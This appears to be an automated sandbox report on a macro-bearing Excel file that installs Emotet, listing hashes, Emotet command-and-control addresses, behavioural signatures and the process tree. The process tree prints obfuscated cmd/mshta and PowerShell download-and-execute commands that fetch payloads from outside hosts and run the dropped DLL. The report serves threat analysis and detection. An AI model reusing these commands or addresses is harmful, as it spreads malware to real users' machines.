Analysis
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max time kernel
115s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
20-01-2022 19:38
Behavioral task
behavioral1
Sample
IPVX_243334.xlsm
Resource
win7-en-20211208
General
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Target
IPVX_243334.xlsm
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Size
49KB
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MD5
e3d5be98c00a8e3a8d203fa438324b43
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SHA1
e42871e45dd9b4f206ab53e5f6e26321dd27fe80
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SHA256
1bccdaed8a9d03e7c5a5f0ecd9ca25e942077d1be538087e6451cc3030e37b8d
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SHA512
98efd7fcad036d523e7c76e327deebbe5dcac4941d12a2a8961518bd2eaef5782d2211a1b9d99094633fa10d4360cc80dc6e4536474c5c6b21196a17f62aac5e
Malware Config
Extracted
http://0xb907d607/fer/fe1.html
Extracted
http://185.7.214.7/fer/fe1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4080 1868 cmd.exe EXCEL.EXE -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 2180 created 3464 2180 WerFault.exe mshta.exe -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 34 3464 mshta.exe 65 684 powershell.exe 67 684 powershell.exe 91 2144 rundll32.exe 92 2144 rundll32.exe -
Downloads MZ/PE file
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Sets service image path in registry 2 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid process 2792 rundll32.exe 3912 rundll32.exe 3608 rundll32.exe 2144 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Qlphxbekie\mjcw.qxo rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 376 3464 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEWerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
EXCEL.EXEWerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Modifies data under HKEY_USERS 41 IoCs
Processes:
WaaSMedicAgent.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1868 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 684 powershell.exe 376 WerFault.exe 376 WerFault.exe 684 powershell.exe 2144 rundll32.exe 2144 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 684 powershell.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE 1868 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exeWerFault.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1868 wrote to memory of 4080 1868 EXCEL.EXE cmd.exe PID 1868 wrote to memory of 4080 1868 EXCEL.EXE cmd.exe PID 4080 wrote to memory of 3464 4080 cmd.exe mshta.exe PID 4080 wrote to memory of 3464 4080 cmd.exe mshta.exe PID 3464 wrote to memory of 684 3464 mshta.exe powershell.exe PID 3464 wrote to memory of 684 3464 mshta.exe powershell.exe PID 2180 wrote to memory of 3464 2180 WerFault.exe mshta.exe PID 2180 wrote to memory of 3464 2180 WerFault.exe mshta.exe PID 684 wrote to memory of 3924 684 powershell.exe cmd.exe PID 684 wrote to memory of 3924 684 powershell.exe cmd.exe PID 3924 wrote to memory of 2792 3924 cmd.exe rundll32.exe PID 3924 wrote to memory of 2792 3924 cmd.exe rundll32.exe PID 3924 wrote to memory of 2792 3924 cmd.exe rundll32.exe PID 2792 wrote to memory of 3912 2792 rundll32.exe rundll32.exe PID 2792 wrote to memory of 3912 2792 rundll32.exe rundll32.exe PID 2792 wrote to memory of 3912 2792 rundll32.exe rundll32.exe PID 3912 wrote to memory of 3608 3912 rundll32.exe rundll32.exe PID 3912 wrote to memory of 3608 3912 rundll32.exe rundll32.exe PID 3912 wrote to memory of 3608 3912 rundll32.exe rundll32.exe PID 3608 wrote to memory of 2144 3608 rundll32.exe rundll32.exe PID 3608 wrote to memory of 2144 3608 rundll32.exe rundll32.exe PID 3608 wrote to memory of 2144 3608 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\IPVX_243334.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe1.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qlphxbekie\mjcw.qxo",olpKPwl8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qlphxbekie\mjcw.qxo",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2144 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3464 -s 17204⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:3044
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 440 -p 3464 -ip 34641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2180
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 0d2e1fc5b80c0f4411260f50d9095cdd qgAU9Pk8fkiTQFJmOK/FDg.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:2892
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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MD5
6d955d47992b3133eb24fc562d1c4955
SHA1d44c73f72d44332f10b6968ae7b54667db2091c2
SHA2568699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed
SHA512007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8
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MD5
6d955d47992b3133eb24fc562d1c4955
SHA1d44c73f72d44332f10b6968ae7b54667db2091c2
SHA2568699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed
SHA512007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8
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MD5
6d955d47992b3133eb24fc562d1c4955
SHA1d44c73f72d44332f10b6968ae7b54667db2091c2
SHA2568699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed
SHA512007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8
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MD5
6d955d47992b3133eb24fc562d1c4955
SHA1d44c73f72d44332f10b6968ae7b54667db2091c2
SHA2568699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed
SHA512007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8
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MD5
6d955d47992b3133eb24fc562d1c4955
SHA1d44c73f72d44332f10b6968ae7b54667db2091c2
SHA2568699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed
SHA512007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8